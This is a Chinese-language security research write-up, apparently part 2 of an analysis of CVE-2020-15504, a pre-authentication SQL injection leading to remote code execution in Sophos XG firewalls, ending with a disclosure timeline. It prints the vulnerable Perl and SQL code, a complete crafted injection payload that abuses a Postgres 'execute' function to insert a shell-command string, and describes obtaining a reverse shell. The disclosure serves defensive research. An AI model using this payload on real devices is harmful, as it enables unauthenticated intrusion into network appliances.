CVE-2020-15504：Sophos XG RCE漏洞分析（Part 2）

0x05 挖掘0-day（CVE-2020-15504）

除了diff分析补丁包之外，我们还可以通过另一种方式来发现n-day漏洞：分析不需要身份认证的（可以通过/webconsole/Controller端点调用的）所有后端函数。我们可以从Java函数getPreAuthOperationList中提取出对应的函数编号。

private static ArrayList<Integer> getPreAuthOperationList() {
    final ArrayList<Integer> modeList = new ArrayList<Integer>();
    modeList.add(151);
    modeList.add(1503);
    modeList.add(6000);
    [...]
    return modeList;
}

Perl代码中如何防护SQLi

尽管后端没有通过prepared-statement来执行所有SQL操作，但这些操作并不会自动受到注入影响。

OPCODE login {
  [...]
    result = QUERY "select usertype from tbluser where username=lower('$request->{username}') and usertype = $CYBEROAMDEFAULTADMIN"
    IF("defined $result->{output}->{usertype}[0]") {
        [...]

这是因为通过299端口传入的所有函数参数在被处理之前，都会自动被escapeRequest函数转义。

sub escapeRequest{
    my $class=shift;
    my $request=shift;
    foreach my $key ( keys % {$request}){
        if(ref($request->{$key}) eq 'ARRAY'){
            [...]
        }elsif(ref($request->{$key}) eq 'HASH'){
            [...]            
        }else{
            if($request->{$key} ne ''){
                $request->{$key}=~ s/\\\'/\'/g;
                $request->{$key}=~ s/\\\\/\\/g;
                $request->{$key}=~ s/\t/\\t/g;
                $request->{$key}=~ s/\\/\\\\/g;
                $request->{$key}=~ s/\'/\\\'/g;
            }
        }
    }
    return $request;
}

寻找脆弱点

我们注意到一个函数：RELEASEQUARANTINEMAILFROMMAIL (NR 2531)，对应的代码逻辑会悄悄绕过自动转义。该函数会将用户可控的某个参数当成Base64字符串，在SQL语句中使用并解码该参数。由于全局转义操作会在该函数被调用前执行，因此只能看到经过编码的字符串，不会看到要处理的任何特殊字符（比如单引号）。

参数在解码后，会被拆分为不同的变量。代码会根据HTTP请求中使用的key=value模式来解析字符串。我们需要重点关注hdnFilePath变量，该值并不需要满足任何复杂的条件，并且最终会出现在随后的SQL语句中。

OPCODE mergequarantine_manage{

    IF("defined $request->{release} and $request->{release} ne '' "){
        use MIME::Base64;
        $param = decode_base64($request->{release});

        [...]
        // Code White: rcptData[1] is derived from $param
        @filePathData = split(/&hdnDestDomain=/, $rcptData[1]);
        $requestData{hdnFilePath}=$filePathData[0];

        my $email_regex='^([\.]?[_\-\!\#\{\}\$\%\^\&\*\+\=\|\?\'\\\\\\/a-zA-Z0-9])*@([a-zA-Z0-9]([-]?[a-zA-Z0-9]+)*\.)+([a-zA-Z0-9]{0,24})$';        
        if($requestData{hdnRecipient} =~ /$email_regex/ && ((defined $requestData{hdnSender} && $requestData{hdnSender} eq '') || $requestData{hdnSender} =~ /$email_regex/) && index($requestData{hdnFilePath},'../') == -1){
            $validate_email="true";
        }

        IF("$validate_email eq 'false'"){
            <code>%response=("status"=>"548","statusmessage"=>"Invalid URL");</code>
            REPLY  %response 500
        }

        $iviewQuery= "select messageid,reason,isavas from (select messageid,COALESCE(NULLIF('',''),NULL) as reason,'as' as isavas from  tblquarantinespammailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select  messageid,COALESCE(NULLIF('',''),NULL) as reason ,'as' as isavas from tblquarantinespammailmergev5  where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'as' as isavas from  tblquarantinespammailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmergev5 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'av' as isavas from  tblquarantinemailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' ) as tbl";            
        [...]
        quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)        
    }
}

$requestData{hdnFilePath}有唯一一个限制：不包含../（但这与我们的目标无关）。使用特殊的格式构造一个release参数后，我们可以在上述SELECT语句中触发一个SQLi。在构造过程中，我们不能破坏语法，我们控制的参数会被插入查询语句6次，因此要小心处理。

图12. 通过SQLi触发数据库sleep（由于sleep命令被注入6次，因此有6秒延迟）

升级Select语句

能够触发sleep后，攻击者就可以使用已知的SQL盲注技术来读取任意数据库值。底层的Postgres实例（iviewdb）与n-day漏洞攻击的目标实例不同，该数据库似乎并不会存储对后续攻击有用的任何值，因此我们选择使用另一种方法。

思考Asnarök所使用的代码执行技术后，我们的目标是与SELECT操作一起执行INSERT操作。从理论上讲，我们可以通过堆叠查询来轻松完成这个任务。经过一些试验后，我们确定目标上部署的Postgres版本以及使用的数据库API支持堆叠查询，然而我们无法通过SQLi完成该任务。我们发现函数iviewdb_query（/lib/libcscaid.so）会在提交查询之前调用escape_string（/usr/bin/csc）函数。由于该函数会转义SQL语句中的所有分号，因此我们无法使用堆叠查询。

不轻言放弃

此时，我们可以在iviewdb数据库中，通过SELECT语句触发未授权SQL注入，但这并没有帮助我们提升至RCE效果。我们不想放弃努力，因此开始寻找其他办法。最终我们提出了一个想法：如果我们修改payload，使SQL语句能够以我们预期的方式返回值呢？这样我们能否触发后续Perl逻辑，最终实现代码执行？为了在查询列中返回任意值，我们经过多次尝试构造payload，最终成功完成任务。

图13. 执行SELECT语句，返回payload中指定的值

成功构造出这类payload后，我们接着关注后续的Perl逻辑。分析源代码后，我们在数据库查询语句后找到了一个潜在的EXEC调用，该调用所使用的某个参数来自于用户控制的某个变量。

quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
GET g_ha_mode
IF("!defined $quarantinQuery->{output}->{messageid} || $quarantinQuery->{output}->{messageid}[0] eq ''"){
    IF ("$g_ha_mode == $HA_ENABLED") {
        GET g_ha_ownstatus
        IF ("$g_ha_ownstatus == $HA_PRIM"){
            result = QUERY "select peerdedicatedip from tblhaparam"
            <code>$peerdedicatedip=$result->{output}->{peerdedicatedip}[0];</code>
            <code>
                $jsonbody = "{\\\"hdnRecipient\\\":\\\"$requestData{hdnRecipient}\\\",\\\"hdnFilePath\\\":\\\"$requestData{hdnFilePath}\\\"}";
            </code>
            out = EXEC /bin/dbclient -n -I "60" -y  -l hauser $peerdedicatedip /bin/opcode check_mail_availability_HA -t "json" -b $jsonbody -s nosync

不幸的是，在默认设置中，变量$g_ha_mode（很有可能与高可用性功能有关）的值为false，因此我们只能寻找更好的方法。函数mergequarantine_manage并没有其他exec调用，但会在正确的条件下触发同一个文件中的其他两个Perl函数。这些函数通过apiInterface opcode触发，该opcode会在299端口上生成新的CSC请求。

for($qurcnt=0;$qurcnt<scalar(@messageid);$qurcnt++){
    if($isavasArr[$qurcnt] eq 'av' && $request->{action} ne 'release' && ($reasonarr[$qurcnt] ne '12' || $reasonarr[$qurcnt] eq '12')){
        push(@avmessageidArr,$messageid[$qurcnt]);
        push(@avrecipientArr,$rcptArr[$qurcnt]);
    }elsif($isavasArr[$qurcnt] eq 'as' || ($isavasArr[$qurcnt] eq 'av' && $request->{action} eq 'release' && $reasonarr[$qurcnt] eq '12')){
        push(@asmessageidArr,$messageid[$qurcnt]);
        push(@asrecipientArr,$rcptArr[$qurcnt]);
    }
}
# Code White: 831 == manage_quarantine
%spamqueReq=("mode"=>"831","hdnMessageid"=>\@asmessageidArr,"hdnRecipient"=>\@asrecipientArr,"action"=>"$request->{action}","reason"=>\@reasonarr);
# Code White: 833 == manage_malware_quarantine
%malwareReq=("mode"=>"833","messageid"=>\@avmessageidArr,"recipient"=>\@avrecipientArr,"action"=>"$request->{action}");

在我们的环境中，$request->{action}始终被设置为release，因此会限制我们调用manage_quarantine。该函数会使用自己提交的参数（mergequarantine_manage中查询结果集）来触发另一个SELECT语句。当该语句返回匹配值时，就会触发EXEC调用，将返回的某个值作为参数传入。

OPCODE manage_quarantine{
        [...]
        $iviewQuery= "select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from (select messageid,sender,recipient,subject,quarantinearea, CAST(INET_NTOA(destdomain) as inet) as destdomain,0 as reason from tblquarantinespammailmerge where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,0 as reason from tblquarantinespammailmergev5  where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from tblquarantinespammailmergev6  where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]') as tbl";

        [...]
        quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)

        $mailFrom = $quarantinQuery->{output}->{sender}[0];        
        $strSubject=$quarantinQuery->{output}->{subject}[0];        
        $file =$quarantinQuery->{output}->{quarantinearea}[0];
        $mailTo   = $quarantinQuery->{output}->{recipient}[0];            

        [...]
        IF("$file =~/.eml/ || $file =~ /0x2/") {
            #convert eml file to -H and -D files
            newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '$file' '/sdisk/quarantine/'
            <code>
                chomp($newfile->{output});
                $file= "/sdisk/spool/tmp/" . $newfile->{output};
            </code>
            LOG applog "new mail file: $newfile->{output}\n"
        }

现在的问题是，我们如何通过第一个语句的结果集来控制第二个SELECT语句的结果集？我们是否可以通过第一次查询的返回值，在第二次查询中触发SQLi？由于构造语句时采用了字符串拼接方式，因此理论上这种方法可行。然而不幸的是，在花了大量精力构造这类payload后，我们还是无法获取所需的结果。简要分析payload的处理过程后，我们发现payload在达到第二个查询前已经被转义过。由于函数通过新的CSC请求触发，因此会自动经过前文提到的转义逻辑进行处理。

止步于SQLi？绝不言败

为了实现注入点的有效利用，我们深入分析了其中涉及的相关组件。在前期利用阶段，我们已经完整dump出iviewdb数据库，当我们发现其中并没有包含任何有用信息后，我们就没有仔细观察其中内容。重新观察该数据库后，我们注意到设备会使用大量数据库中的某个功能：用户定义函数。

我们可以通过用户定义函数的方式来定义自己的SQL函数，从而扩展预定义的数据库操作。我们可以通过Postgres自己的语言（PL/pgSQL）来完成该任务。这类函数对我们的攻击场景非常有用，因此我们可以在SELECT语句中内联调用前面定义的函数。调用语法与其他SQL函数相同，即SELECT my_function(param1, param2) FROM table;。

因此现在我们的思路是，已有的用户定义函数可能可以用来执行堆叠查询。如果函数中没有正确过滤SQL语句，那么就满足这个利用条件。我们遍历了数据库dump文件，发现满足该模式的多个代码块。令我们惊讶的是，我们找到了执行任意语句的一个简单方法：execute函数。该代码只接受一个参数，会作为SQL语句直接执行，没有经过进一步检查。

CREATE FUNCTION execute(query text) RETURNS void
    LANGUAGE plpgsql
    AS $$ 
BEGIN
    execute query;
EXCEPTION
    WHEN OTHERS THEN
           RAISE NOTICE 'Exception Occured while executing : %', query;
END
$$;

理论上这个函数可以允许我们在mergequarantine_manage的SELECT查询中执行INSERT语句，以便在表tblquarantinespammailmerge中添加数据库行，最终用在manage_quarantine的exec调用中。

图14. 通过SELECT语句中的execute函数触发INSERT语句

经过一番摸索后，我们成功构造出正确的payload，如下所示：

mode=2531&
release=<@base64_0>
[email protected]
&[email protected]&

hdnFilePath=
    H' UNION SELECT
        'a' || execute('
            DELETE FROM tblquarantinespammailmerge where messageid = chr(97);
            INSERT INTO tblquarantinespammailmerge(messageid,sender,recipient,subject,quarantinearea,destdomain) values(chr(97), chr(66), \'[email protected]\', chr(69), encode(decode(\'<@base64_1>; sleep 10; echo test.eml<@/base64_1>\', \'base64\'), \'escape\'), 1)
            ') as messageid,
        'b' as reason,
        'as' as isavas
               UNION SELECT messageid,'b' as reason, 'c' as isavas FROM  tblquarantinespammailmerge where quarantinearea='&hdnDestDomain=DESTDOMAIN
<@/base64_0>

以上代码具体解释如下：

1、第1-2行：定义mode 25331所需的2个HTTP参数；

2、第3-6行：定义3个Base64编码参数，以便通过mergequarantine_manage中初始化检查；

3、第7行：注入单引号，触发SQLi；

4、第8-11行：利用用户定义函数execute，触发与预定义的SELECT不同的SQL操作；

5、第10行：在表tblquarantinespammailmerge中添加新行，在其中的quarantinearea字段中包含我们的代码执行payload，并将messageid设置为'a'。需要注意的是payload中的.eml部分，这样才能访问到exec调用；

6、删除tblquarantinespammailmerge中messageid等于'a'的所有行，确保该表中只包含我们payload的一个实例（在初始语句中该向量会被注入6次）。尽管这不是一个必须执行的操作，但可以简化manage_quarantine中SELECT语句后的代码路径，避免我们的payload被多次执行。

7、第12-14行：遵循预定义语句的语法。

使用上述payload后，我们可以执行如下Perl命令：

newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '; sleep 10; echo test.eml' '/sdisk/quarantine/'

现在我们终于完成任务，但似乎并没有任何时间延迟，这表明我们的sleep实际上并没有被触发。我们使用的执行机制不就是之前n-day漏洞所使用的执行机制吗？事实上这两者的确有所不同。Asnarök使用的是EXECSH，我们使用的是EXEC。不幸的是，EXEC能够正确处理参数中的空格，将其作为单个值传入脚本。

大功告成

既然前面做了那么多工作，现在我们只能继续前行。最终我们还是通过SQLi实现代码执行，这得感谢Perl的大力帮助。

[...]
my $emlfile=$ARGV[1] ."/" . $ARGV[0];

my $detailio = new IO::Handle;
open($detailio, ">>$filewritingdata") or die("Cannot write $filewritingdata: $!\n");
[...]

my $emlio = new IO::Handle;
open($emlio, $emlfile) or
    die("Cannot write $emlfile: $!\n");

将最后这部分代码加入攻击链后，我们还需要解决payload中的一个小问题，这部分工作留给大家来完成。

图15. 利用漏洞触发反向shell

0x06 时间线

以下采用UTC时间。

2020年4月5日22:48：通过BugCrowd向Sophos提交漏洞。
2020年4月5日23:56：Sophos确认收到报告。
2020年5月5日12:23：Sophos称能够复现问题，正在解决问题。
2020年5月5日：Sophos发布第一版自动补丁。
2020年5月16日23:55：我们反馈修补程序中增加的安全机制可能被绕过。
2020年5月21日：Sophos发布了第二版修补，该修补禁用了预身份认证邮件隔离放行功能。
2020年6月：官方发布包含内置补丁的18.0 MR1-1固件。
2020年7月：官方发布包含内置补丁的17.5 MR13固件。
2020年7月13日：在确保大多数设备已收到补丁，或者安装新版固件后，我们与厂商协商发布本文。

正文

CVE-2020-15504：Sophos XG RCE漏洞分析（Part 2）

0x05 挖掘0-day（CVE-2020-15504）

Perl代码中如何防护SQLi

寻找脆弱点

升级Select语句

不轻言放弃

止步于SQLi？绝不言败

大功告成

0x06 时间线

相关阅读

IBM Jazz Reporting Service-Rational-CLM安全绕过管理任务执行漏洞

IBM Jazz Reporting Service up to 5.0.2/6.0.0 Report Builder 跨站脚本攻击

IBM WebSphere MQ Light拒绝服务漏洞

NetApp Data ONTAP信息泄露漏洞

发表评论取消回复

还没有评论，来说两句吧...

目录[+]